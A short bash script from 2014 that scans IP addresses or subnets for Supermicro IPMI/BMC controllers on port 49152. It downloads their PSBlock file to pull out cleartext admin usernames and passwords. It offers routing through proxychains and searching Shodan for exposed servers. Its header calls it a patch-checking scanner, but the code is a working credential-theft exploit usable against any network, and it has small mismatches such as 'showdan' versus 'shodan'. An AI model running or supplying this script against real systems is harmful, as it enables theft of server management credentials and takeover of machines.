#!/bin/bash # Supermicro IPMI/BMC Cleartext Password Scanner v20140622 by 1N3 # http://treadstonesecurity.blogspot.ca # Usage: sh supermicro_scan.sh <CIDR|IP|showdan> [proxy] # # ABOUT: # Supermicro’s implementation of IPMI/BMC allows remote, unauthenticated attackers to # request the file PSBlock via port 49152. This plain text password file contains IPMI # username and password information. This script allows users to scan their networks # check for vulnerable systems that require patching. # # USAGE: # ./supermicro_scan.sh 74.200.8.237 - Single host scan # ./supermicro_scan.sh 74.200.0.0/16 proxy - Subnet scan with proxy # ./supermicro_scan.sh showdan - Search for vulnerable servers on ShowdanHQ # clear echo "(--==== http://treadstonesecurity.blogspot.ca" echo "(--==== Supermicro IPMI Cleartext Password Scanner by 1N3" echo "" UNICORNSCAN=`which unicornscan` CURL=`which curl` PROXYCHAINS=`which proxychains` TARGET=$1 PROXY=$2 if [ "$UNICORNSCAN" == "" ]; then echo "(--==== Unicornscan not installed! Exiting..." exit fi if [ "$PROXYCHAINS" == "" ]; then echo "(--==== Proxychains not installed! Continuing scan without proxy support..." exit fi if [ "$CURL" == "" ]; then echo "(--==== Curl not installed! Exiting..." exit fi if [ -z "$1" ]; then echo "(--==== Usage: $0 <CIDR|IP> [proxy]" exit fi if [ $TARGET == "shodan" ]; then # SCAN USING SHODANHQ SEARCH echo "Searching ShowdanHQ..." iceweasel http://www.shodanhq.com/search?q=Content-Length%3D3269 & exit fi if [ "$PROXY" = "proxy" ]; then #PROXY ENABLED echo "(--==== Scanning via proxy..." # SCAN FOR THE DEFAULT FILES AND PORTS for a in `unicornscan -p 49152 $TARGET 2>/dev/null | awk '{print $5}'`; do echo "(--==== Extracting User/Pass from $a" echo "(--==== Sending GET http://$a:49152/PSBlock" proxychains curl http://$a:49152/PSBlock -m 3 --retry 1 -f -# | strings done exit else # NO PROXY echo "(--==== Scanning via direct connection..." # SCAN FOR THE DEFAULT FILES AND PORTS for a in `unicornscan -p 49152 $TARGET 2>/dev/null | awk '{print $5}'`; do echo "(--==== Extracting User/Pass from $a" echo "(--==== Sending GET http://$a:49152/PSBlock" curl http://$a:49152/PSBlock -m 3 --retry 1 -f -# | strings done exit fi echo "" echo "(--==== Scan Complete!" exit